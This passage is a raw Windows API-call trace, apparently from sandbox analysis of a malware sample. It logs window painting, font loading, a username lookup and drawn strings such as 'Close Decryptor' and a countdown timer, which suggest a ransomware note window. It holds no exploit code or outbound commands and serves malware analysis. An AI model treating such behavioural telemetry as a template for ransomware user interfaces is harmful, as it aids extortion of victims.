(graphics=0x691e928, hdc=0x19e7c8) returned 0x0 [0158.584] GetCurrentObject (hdc=0x101072c, type=0x1) returned 0xb00017 [0158.584] GetCurrentObject (hdc=0x101072c, type=0x2) returned 0x900010 [0158.584] GetCurrentObject (hdc=0x101072c, type=0x7) returned 0x8050721 [0158.584] GetCurrentObject (hdc=0x101072c, type=0x6) returned 0x8a01c2 [0158.584] SaveDC (hdc=0x101072c) returned 1 [0158.584] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xc80406fe [0158.584] GetClipRgn (hdc=0x101072c, hrgn=0xc80406fe) returned 0 [0158.584] SelectClipRgn (hdc=0x101072c, hrgn=0x5a0406f7) returned 2 [0158.584] DeleteObject (ho=0xc80406fe) returned 1 [0158.584] DeleteObject (ho=0x5a0406f7) returned 1 [0158.584] OffsetViewportOrgEx (in: hdc=0x101072c, x=0, y=0, lppt=0x30253d4 | out: lppt=0x30253d4) returned 1 [0158.584] GetNearestColor (hdc=0x101072c, color=0x22a3f8) returned 0x22a3f8 [0158.584] CreateSolidBrush (color=0x22a3f8) returned 0xb10073a [0158.585] FillRect (hDC=0x101072c, lprc=0x19e7cc, hbr=0xb10073a) returned 1 [0158.585] DeleteObject (ho=0xb10073a) returned 1 [0158.585] RestoreDC (hdc=0x101072c, nSavedDC=-1) returned 1 [0158.585] GdipReleaseDC (graphics=0x691e928, hdc=0x101072c) returned 0x0 [0158.585] GdipRestoreGraphics (graphics=0x691e928, state=0xfd5f0dbd) returned 0x0 [0158.585] GdipDeleteRegion (region=0x691ec08) returned 0x0 [0158.585] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0158.585] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0158.585] GetSystemMetrics (nIndex=42) returned 0 [0158.585] GetWindowTextW (in: hWnd=0x20236, lpString=0x19e86c, nMaxCount=9 | out: lpString="06:58:00") returned 8 [0158.585] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19e86c) returned 0x8 [0158.585] GdipGetDC (graphics=0x691e928, hdc=0x19e7e8) returned 0x0 [0158.585] GetCurrentObject (hdc=0x101072c, type=0x1) returned 0xb00017 [0158.585] GetCurrentObject (hdc=0x101072c, type=0x2) returned 0x900010 [0158.585] GetCurrentObject (hdc=0x101072c, type=0x7) returned 0x8050721 [0158.585] GetCurrentObject (hdc=0x101072c, type=0x6) returned 0x8a01c2 [0158.585] SaveDC (hdc=0x101072c) returned 1 [0158.585] GetNearestColor (hdc=0x101072c, color=0x0) returned 0x0 [0158.585] RestoreDC (hdc=0x101072c, nSavedDC=-1) returned 1 [0158.585] GdipReleaseDC (graphics=0x691e928, hdc=0x101072c) returned 0x0 [0158.586] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0158.586] AdjustWindowRectEx (in: lpRect=0x19e708, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e708) returned 1 [0158.586] GdipGetTextRenderingHint (graphics=0x691e928, mode=0x19e788) returned 0x0 [0158.586] GdipGetDC (graphics=0x691e928, hdc=0x19e774) returned 0x0 [0158.586] GetCurrentObject (hdc=0x101072c, type=0x1) returned 0xb00017 [0158.586] GetCurrentObject (hdc=0x101072c, type=0x2) returned 0x900010 [0158.586] GetCurrentObject (hdc=0x101072c, type=0x7) returned 0x8050721 [0158.586] GetCurrentObject (hdc=0x101072c, type=0x6) returned 0x8a01c2 [0158.586] SaveDC (hdc=0x101072c) returned 1 [0158.586] GetTextAlign (hdc=0x101072c) returned 0x0 [0158.587] GetTextColor (hdc=0x101072c) returned 0x0 [0158.587] GetCurrentObject (hdc=0x101072c, type=0x6) returned 0x8a01c2 [0158.587] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e4bc | out: pv=0x19e4bc) returned 92 [0158.587] SelectObject (hdc=0x101072c, h=0x4f0a0711) returned 0x8a01c2 [0158.587] GetBkMode (hdc=0x101072c) returned 2 [0158.587] SetBkMode (hdc=0x101072c, mode=1) returned 2 [0158.587] DrawTextExW (in: hdc=0x101072c, lpchText="06:58:00", cchText=8, lprc=0x19e708, format=0x100000, lpdtp=0x3025868 | out: lpchText="06:58:00", lprc=0x19e708) returned 50 [0158.587] RestoreDC (hdc=0x101072c, nSavedDC=-1) returned 1 [0158.587] GdipReleaseDC (graphics=0x691e928, hdc=0x101072c) returned 0x0 [0158.588] GdipGetDC (graphics=0x691e928, hdc=0x19e924) returned 0x0 [0158.588] BitBlt (hdc=0x1e0106e1, x=0, y=0, cx=154, cy=50, hdcSrc=0x101072c, x1=0, y1=0, rop=0xcc0020) returned 1 [0158.590] GdipReleaseDC (graphics=0x691e928, hdc=0x101072c) returned 0x0 [0158.590] SelectPalette (hdc=0x1e0106e1, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0158.591] SelectObject (hdc=0x101072c, h=0x85000f) returned 0x8050721 [0158.591] DeleteDC (hdc=0x101072c) returned 1 [0158.591] GdipDeleteGraphics (graphics=0x691e928) returned 0x0 [0158.591] EndPaint (hWnd=0x20236, lpPaint=0x19e8c8) returned 1 [0158.591] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0158.591] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x2710174) returned 0x1 [0158.591] IsWindowUnicode (hWnd=0x30212) returned 1 [0158.591] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0158.591] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x2710174) returned 0x1 [0158.592] SetCursor (hCursor=0x10003) returned 0x10003 [0158.592] TranslateMessage (lpMsg=0x19ee78) returned 0 [0158.592] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0158.592] GetKeyState (nVirtKey=1) returned 1 [0158.592] GetKeyState (nVirtKey=2) returned 0 [0158.592] GetKeyState (nVirtKey=4) returned 0 [0158.592] GetKeyState (nVirtKey=5) returned 0 [0158.592] GetKeyState (nVirtKey=6) returned 0 [0158.592] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0158.592] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0158.592] WaitMessage () returned 1 [0158.659] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0158.659] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x2710174) returned 0x1 [0158.659] IsWindowUnicode (hWnd=0x30212) returned 1 [0158.659] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0158.659] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x2710174) returned 0x1 [0158.659] GetDlgItem (hDlg=0x8004e, nIDDlgItem=0) returned 0x0 [0158.659] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0x210, wParam=0x201, lParam=0x1790043) returned 0x0 [0158.659] GetDlgItem (hDlg=0x1023e, nIDDlgItem=0) returned 0x0 [0158.659] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x210, wParam=0x201, lParam=0x1d80043) returned 0x0 [0158.659] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x21, wParam=0x1023e, lParam=0x2010001) returned 0x1 [0158.659] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0x21, wParam=0x1023e, lParam=0x2010001) returned 0x1 [0158.659] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x21, wParam=0x1023e, lParam=0x2010001) returned 0x1 [0158.660] SetCursor (hCursor=0x10003) returned 0x10003 [0158.660] TranslateMessage (lpMsg=0x19ee78) returned 0 [0158.660] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0158.660] GetKeyState (nVirtKey=1) returned -128 [0158.660] GetKeyState (nVirtKey=2) returned 0 [0158.660] GetKeyState (nVirtKey=4) returned 0 [0158.660] GetKeyState (nVirtKey=5) returned 0 [0158.660] GetKeyState (nVirtKey=6) returned 0 [0158.660] IsWindowVisible (hWnd=0x30212) returned 1 [0158.660] IsWindowEnabled (hWnd=0x30212) returned 1 [0158.660] SetFocus (hWnd=0x30212) returned 0x30212 [0158.660] GetFocus () returned 0x30212 [0158.660] GetFocus () returned 0x30212 [0158.660] GetFocus () returned 0x30212 [0158.660] GetKeyState (nVirtKey=1) returned -128 [0158.660] GetKeyState (nVirtKey=2) returned 0 [0158.660] GetKeyState (nVirtKey=4) returned 0 [0158.660] GetKeyState (nVirtKey=5) returned 0 [0158.660] GetKeyState (nVirtKey=6) returned 0 [0158.660] GetCapture () returned 0x0 [0158.660] SetCapture (hWnd=0x30212) returned 0x0 [0158.660] GetKeyState (nVirtKey=1) returned -128 [0158.660] GetKeyState (nVirtKey=2) returned 0 [0158.660] GetKeyState (nVirtKey=4) returned 0 [0158.660] GetKeyState (nVirtKey=5) returned 0 [0158.660] GetKeyState (nVirtKey=6) returned 0 [0158.660] NotifyWinEvent (event=0x800a, hwnd=0x30212, idObject=-4, idChild=0) [0158.660] InvalidateRect (hWnd=0x30212, lpRect=0x19eaa0, bErase=0) returned 1 [0158.660] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0158.661] IsWindowUnicode (hWnd=0x30212) returned 1 [0158.661] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0158.661] TranslateMessage (lpMsg=0x19ee78) returned 0 [0158.661] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0158.661] MapWindowPoints (in: hWndFrom=0x30212, hWndTo=0x0, lpPoints=0x3025924, cPoints=0x1 | out: lpPoints=0x3025924) returned 36176186 [0158.661] NotifyWinEvent (event=0x800a, hwnd=0x30212, idObject=-4, idChild=0) [0158.661] InvalidateRect (hWnd=0x30212, lpRect=0x19ea40, bErase=0) returned 1 [0158.661] UpdateWindow (hWnd=0x30212) returned 1 [0158.661] BeginPaint (in: hWnd=0x30212, lpPaint=0x19e558 | out: lpPaint=0x19e558) returned 0x1b010670 [0158.661] SelectPalette (hdc=0x1b010670, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0158.661] CreateCompatibleDC (hdc=0x1b010670) returned 0x301072c [0158.661] SelectObject (hdc=0x301072c, h=0x8050721) returned 0x85000f [0158.661] GdipCreateFromHDC (hdc=0x301072c, graphics=0x19e570) returned 0x0 [0158.661] GdipTranslateWorldTransform (graphics=0x691e928, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0158.661] GdipSetClipRectI (graphics=0x691e928, x=0, y=0, width=178, height=111, combineMode=0x0) returned 0x0 [0158.661] GdipCreateMatrix (matrix=0x19e5b8) returned 0x0 [0158.661] GdipGetWorldTransform (graphics=0x691e928, matrix=0x691efb8) returned 0x0 [0158.661] GdipIsMatrixIdentity (matrix=0x691efb8, result=0x19e5d0) returned 0x0 [0158.661] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0158.661] GdipGetMatrixElements (matrix=0x691efb8, matrixOut=0xf75bb0) returned 0x0 [0158.662] LocalFree (hMem=0xf75bb0) returned 0x0 [0158.662] GdipDeleteMatrix (matrix=0x691efb8) returned 0x0 [0158.662] GdipCreateRegion (region=0x19e5b8) returned 0x0 [0158.662] GdipGetClip (graphics=0x691e928, region=0x691ec08) returned 0x0 [0158.662] GdipIsInfiniteRegion (region=0x691ec08, graphics=0x691e928, result=0x19e5c4) returned 0x0 [0158.662] GdipSaveGraphics (graphics=0x691e928, state=0x19e5f0) returned 0x0 [0158.662] GdipRestoreGraphics (graphics=0x691e928, state=0xfd5d0dbd) returned 0x0 [0158.662] GdipDeleteRegion (region=0x691ec08) returned 0x0 [0158.662] GdipGetDC (graphics=0x691e928, hdc=0x19e3a0) returned 0x0 [0158.662] GetCurrentObject (hdc=0x301072c, type=0x1) returned 0xb00017 [0158.662] GetCurrentObject (hdc=0x301072c, type=0x2) returned 0x900010 [0158.662] GetCurrentObject (hdc=0x301072c, type=0x7) returned 0x8050721 [0158.662] GetCurrentObject (hdc=0x301072c, type=0x6) returned 0x8a01c2 [0158.662] SaveDC (hdc=0x301072c) returned 1 [0158.662] GetNearestColor (hdc=0x301072c, color=0x323533) returned 0x323533 [0158.662] GetNearestColor (hdc=0x301072c, color=0x111111) returned 0x111111 [0158.662] GetNearestColor (hdc=0x301072c, color=0x0) returned 0x0 [0158.662] GetNearestColor (hdc=0x301072c, color=0x868c88) returned 0x868c88 [0158.662] GetNearestColor (hdc=0x301072c, color=0x6994f5) returned 0x6994f5 [0158.662] GetNearestColor (hdc=0x301072c, color=0x969c98) returned 0x969c98 [0158.662] GetNearestColor (hdc=0x301072c, color=0x868c88) returned 0x868c88 [0158.662] GetNearestColor (hdc=0x301072c, color=0x3c3f3d) returned 0x3c3f3d [0158.663] GetNearestColor (hdc=0x301072c, color=0x6994f5) returned 0x6994f5 [0158.663] RestoreDC (hdc=0x301072c, nSavedDC=-1) returned 1 [0158.663] GdipReleaseDC (graphics=0x691e928, hdc=0x301072c) returned 0x0 [0158.663] SelectObject (hdc=0x8e0106dd, h=0x110a0722) returned 0x4f0a0711 [0158.663] DrawTextExW (in: hdc=0x8e0106dd, lpchText="Close Decryptor", cchText=15, lprc=0x19e25c, format=0x102415, lpdtp=0x3025e10 | out: lpchText="Close Decryptor", lprc=0x19e25c) returned 60 [0158.663] GdipCreateRegion (region=0x19e2e4) returned 0x0 [0158.663] GdipGetClip (graphics=0x691e928, region=0x691ec08) returned 0x0 [0158.663] GdipCreateMatrix (matrix=0x19e2e4) returned 0x0 [0158.663] GdipGetWorldTransform (graphics=0x691e928, matrix=0x6915f08) returned 0x0 [0158.663] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e2fc) returned 0x0 [0158.663] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75c20 [0158.663] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75c20) returned 0x0 [0158.663] LocalFree (hMem=0xf75c20) returned 0x0 [0158.663] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75c20 [0158.663] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75c20) returned 0x0 [0158.663] LocalFree (hMem=0xf75c20) returned 0x0 [0158.663] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0158.663] GdipIsInfiniteRegion (region=0x691ec08, graphics=0x691e928, result=0x19e324) returned 0x0 [0158.663] GdipIsInfiniteRegion (region=0x691ec08, graphics=0x691e928, result=0x19e314) returned 0x0 [0158.664] GdipGetRegionHRgn (region=0x691ec08, graphics=0x691e928, hRgn=0x19e314) returned 0x0 [0158.664] GdipDeleteRegion (region=0x691ec08) returned 0x0 [0158.664] GdipGetDC (graphics=0x691e928, hdc=0x19e32c) returned 0x0 [0158.664] GetCurrentObject (hdc=0x301072c, type=0x1) returned 0xb00017 [0158.664] GetCurrentObject (hdc=0x301072c, type=0x2) returned 0x900010 [0158.664] GetCurrentObject (hdc=0x301072c, type=0x7) returned 0x8050721 [0158.664] GetCurrentObject (hdc=0x301072c, type=0x6) returned 0x8a01c2 [0158.664] SaveDC (hdc=0x301072c) returned 1 [0158.664] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x5b0406f7 [0158.664] GetClipRgn (hdc=0x301072c, hrgn=0x5b0406f7) returned 0 [0158.664] SelectClipRgn (hdc=0x301072c, hrgn=0xcb0406fe) returned 2 [0158.664] DeleteObject (ho=0x5b0406f7) returned 1 [0158.664] DeleteObject (ho=0xcb0406fe) returned 1 [0158.664] OffsetViewportOrgEx (in: hdc=0x301072c, x=0, y=0, lppt=0x3026000 | out: lppt=0x3026000) returned 1 [0158.664] GetNearestColor (hdc=0x301072c, color=0x3c3f3d) returned 0x3c3f3d [0158.664] CreateSolidBrush (color=0x3c3f3d) returned 0xc10073a [0158.664] FillRect (hDC=0x301072c, lprc=0x19e330, hbr=0xc10073a) returned 1 [0158.666] DeleteObject (ho=0xc10073a) returned 1 [0158.666] RestoreDC (hdc=0x301072c, nSavedDC=-1) returned 1 [0158.666] GdipReleaseDC (graphics=0x691e928, hdc=0x301072c) returned 0x0 [0158.666] GdipGetTextRenderingHint (graphics=0x691e928, mode=0x19e3a8) returned 0x0 [0158.666] GdipGetDC (graphics=0x691e928, hdc=0x19e394) returned 0x0 [0158.666] GetCurrentObject (hdc=0x301072c, type=0x1) returned 0xb00017 [0158.666] GetCurrentObject (hdc=0x301072c, type=0x2) returned 0x900010 [0158.666] GetCurrentObject (hdc=0x301072c, type=0x7) returned 0x8050721 [0158.666] GetCurrentObject (hdc=0x301072c, type=0x6) returned 0x8a01c2 [0158.666] SaveDC (hdc=0x301072c) returned 1 [0158.666] GetTextAlign (hdc=0x301072c) returned 0x0 [0158.666] GetTextColor (hdc=0x301072c) returned 0x0 [0158.666] SetTextColor (hdc=0x301072c, color=0x6994f5) returned 0x0 [0158.666] GetCurrentObject (hdc=0x301072c, type=0x6) returned 0x8a01c2 [0158.666] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e0dc | out: pv=0x19e0dc) returned 92 [0158.666] SelectObject (hdc=0x301072c, h=0x110a0722) returned 0x8a01c2 [0158.666] GetBkMode (hdc=0x301072c) returned 2 [0158.666] SetBkMode (hdc=0x301072c, mode=1) returned 2 [0158.666] DrawTextExW (in: hdc=0x301072c, lpchText="Close Decryptor", cchText=15, lprc=0x19e1c4, format=0x102415, lpdtp=0x30262bc | out: lpchText="Close Decryptor", lprc=0x19e1c4) returned 60 [0158.667] DrawTextExW (in: hdc=0x301072c, lpchText="Close Decryptor", cchText=15, lprc=0x19e328, format=0x102015, lpdtp=0x30262bc | out: lpchText="Close Decryptor", lprc=0x19e328) returned 60 [0158.667] RestoreDC (hdc=0x301072c, nSavedDC=-1) returned 1 [0158.667] GdipReleaseDC (graphics=0x691e928, hdc=0x301072c) returned 0x0 [0158.667] GetFocus () returned 0x30212 [0158.667] GetFocus () returned 0x30212 [0158.667] GdipCreatePen1 (color=0xfff59469, width=0x3f800000, unit=0x0, pen=0x19e42c) returned 0x0 [0158.667] GdipDrawRectangleI (graphics=0x691e928, pen=0x6915e78, x=0, y=0, width=177, height=110) returned 0x0 [0158.668] GdipDeletePen (pen=0x6915e78) returned 0x0 [0158.668] GdipCreatePen1 (color=0xfff59469, width=0x3f800000, unit=0x0, pen=0x19e410) returned 0x0 [0158.668] GdipDrawRectangleI (graphics=0x691e928, pen=0x6915e78, x=1, y=1, width=175, height=108) returned 0x0 [0158.668] GdipDeletePen (pen=0x6915e78) returned 0x0 [0158.668] GdipGetDC (graphics=0x691e928, hdc=0x19e5b0) returned 0x0 [0158.668] BitBlt (hdc=0x1b010670, x=0, y=0, cx=178, cy=111, hdcSrc=0x301072c, x1=0, y1=0, rop=0xcc0020) returned 1 [0158.668] GdipReleaseDC (graphics=0x691e928, hdc=0x301072c) returned 0x0 [0158.668] SelectPalette (hdc=0x1b010670, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0158.668] SelectObject (hdc=0x301072c, h=0x85000f) returned 0x8050721 [0158.668] DeleteDC (hdc=0x301072c) returned 1 [0158.668] GdipDeleteGraphics (graphics=0x691e928) returned 0x0 [0158.668] EndPaint (hWnd=0x30212, lpPaint=0x19e554) returned 1 [0158.668] MapWindowPoints (in: hWndFrom=0x30212, hWndTo=0x0, lpPoints=0x3026340, cPoints=0x1 | out: lpPoints=0x3026340) returned 36176186 [0158.668] WindowFromPoint (Point=0x174) returned 0x30212 [0158.669] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x2710174) returned 0x1 [0158.669] NotifyWinEvent (event=0x800a, hwnd=0x30212, idObject=-4, idChild=0) [0158.669] NotifyWinEvent (event=0x800c, hwnd=0x30212, idObject=-4, idChild=0) [0158.669] GetUserNameW (in: lpBuffer=0x19e704, pcbBuffer=0x19e97c | out: lpBuffer="FD1HVy", pcbBuffer=0x19e97c) returned 1 [0158.669] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0158.670] AdjustWindowRectEx (in: lpRect=0x19e91c, dwStyle=0x56cf0000, bMenu=0, dwExStyle=0x50001 | out: lpRect=0x19e91c) returned 1 [0158.670] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0158.670] AdjustWindowRectEx (in: lpRect=0x19e458, dwStyle=0x56010000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19e458) returned 1 [0158.670] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0158.670] AdjustWindowRectEx (in: lpRect=0x19e46c, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e46c) returned 1 [0158.671] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0158.671] AdjustWindowRectEx (in: lpRect=0x19e46c, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e46c) returned 1 [0158.671] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0158.671] AdjustWindowRectEx (in: lpRect=0x19e46c, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e46c) returned 1 [0158.671] GetDC (hWnd=0x0) returned 0x60100ce [0158.671] GdipCreateFromHDC (hdc=0x60100ce, graphics=0x19e340) returned 0x0 [0158.671] GdipGetFontHeight (font=0x57fef48, graphics=0x691e928, height=0x19e338) returned 0x0 [0158.671] GdipDeleteGraphics (graphics=0x691e928) returned 0x0 [0158.671] ReleaseDC (hWnd=0x0, hDC=0x60100ce) returned 1 [0158.672] GetSystemMetrics (nIndex=5) returned 1 [0158.672] GetSystemMetrics (nIndex=6) returned 1 [0158.672] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0158.672] AdjustWindowRectEx (in: lpRect=0x19e468, dwStyle=0x560101c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x19e468) returned 1 [0158.672] GdipCreateFontFamilyFromName (name="Palatino Linotype", fontCollection=0x0, fontFamily=0x19e448) returned 0x0 [0158.672] GdipCreateFont (fontFamily=0x57faee0, emSize=0x41ae0000, style=1, unit=0x3, font=0x3027c74) returned 0x0 [0158.672] GdipGetFontSize (font=0x6911b40, size=0x3027c78) returned 0x0 [0158.673] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0158.673] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0158.673] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0158.673] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0158.673] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x19e448) returned 0x0 [0158.673] GdipCreateFont (fontFamily=0x57f8ad8, emSize=0x41640000, style=0, unit=0x3, font=0x3027ee8) returned 0x0 [0158.673] GdipGetFontSize (font=0x6911b90, size=0x3027eec) returned 0x0 [0158.673] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0158.673] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0158.674] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0158.674] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0158.674] GdipCreateFontFamilyFromName (name="Palatino Linotype", fontCollection=0x0, fontFamily=0x19e448) returned 0x0 [0158.674] GdipCreateFont (fontFamily=0x57faee0, emSize=0x41ae0000, style=1, unit=0x3, font=0x302818c) returned 0x0 [0158.674] GdipGetFontSize (font=0x6911cd0, size=0x3028190) returned 0x0 [0158.674] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0158.674] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0158.674] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0158.674] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0158.674] IsAppThemed () returned 0x1 [0158.675] GetThemeAppProperties () returned 0x3 [0158.675] GetThemeAppProperties () returned 0x3 [0158.675] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0158.675] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x560100c0, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0158.675] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0158.675] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x560100c0, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0158.675] GdipCreateFontFamilyFromName (name="Palatino Linotype", fontCollection=0x0, fontFamily=0x19e448) returned 0x0 [0158.675] GdipCreateFont (fontFamily=0x57faee0, emSize=0x42100000, style=3, unit=0x3, font=0x30286fc) returned 0x0 [0158.675] GdipGetFontSize (font=0x6911bb8, size=0x3028700) returned 0x0 [0158.675] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0158.676] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0158.676] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0158.676] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0158.676] GdipCreateFontFamilyFromName (name="Palatino Linotype", fontCollection=0x0, fontFamily=0x19e448) returned 0x0 [0158.676] GdipCreateFont (fontFamily=0x57faee0, emSize=0x417c0000, style=1, unit=0x3, font=0x30289cc) returned 0x0 [0158.676] GdipGetFontSize (font=0x6911938, size=0x30289d0) returned 0x0 [0158.676] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0158.676] AdjustWindowRectEx (in: lpRect=0x19e3e4, dwStyle=0x5e01000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3e4) returned 1 [0158.676] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0158.676] AdjustWindowRectEx (in: lpRect=0x19e3e4, dwStyle=0x5e01000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3e4) returned 1 [0158.728] GdipLoadImageFromStream (stream=0x2a2ff10, image=0x19de80) returned 0x0 [0158.728] GdipImageForceValidation (image=0x691e928) returned 0x0 [0158.729] GdipGetImageType (image=0x691e928, type=0x19de7c) returned 0x0 [0158.729] GdipGetImageRawFormat (image=0x691e928, format=0x19ddf0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0158.729] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0158.729] AdjustWindowRectEx (in: lpRect=0x19e3e4, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3e4) returned 1 [0158.729] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0158.729] AdjustWindowRectEx (in: lpRect=0x19e3e4, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3e4) returned 1 [0158.729] GdipCreateFontFamilyFromName (name="Palatino Linotype", fontCollection=0x0, fontFamily=0x19e448) returned 0x0 [0158.729] GdipCreateFont (fontFamily=0x57faee0, emSize=0x41900000, style=1, unit=0x3, font=0x302dea0) returned 0x0 [0158.729] GdipGetFontSize (font=0x6911988, size=0x302dea4) returned 0x0 [0158.730] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0158.730] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0158.730] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0158.730] 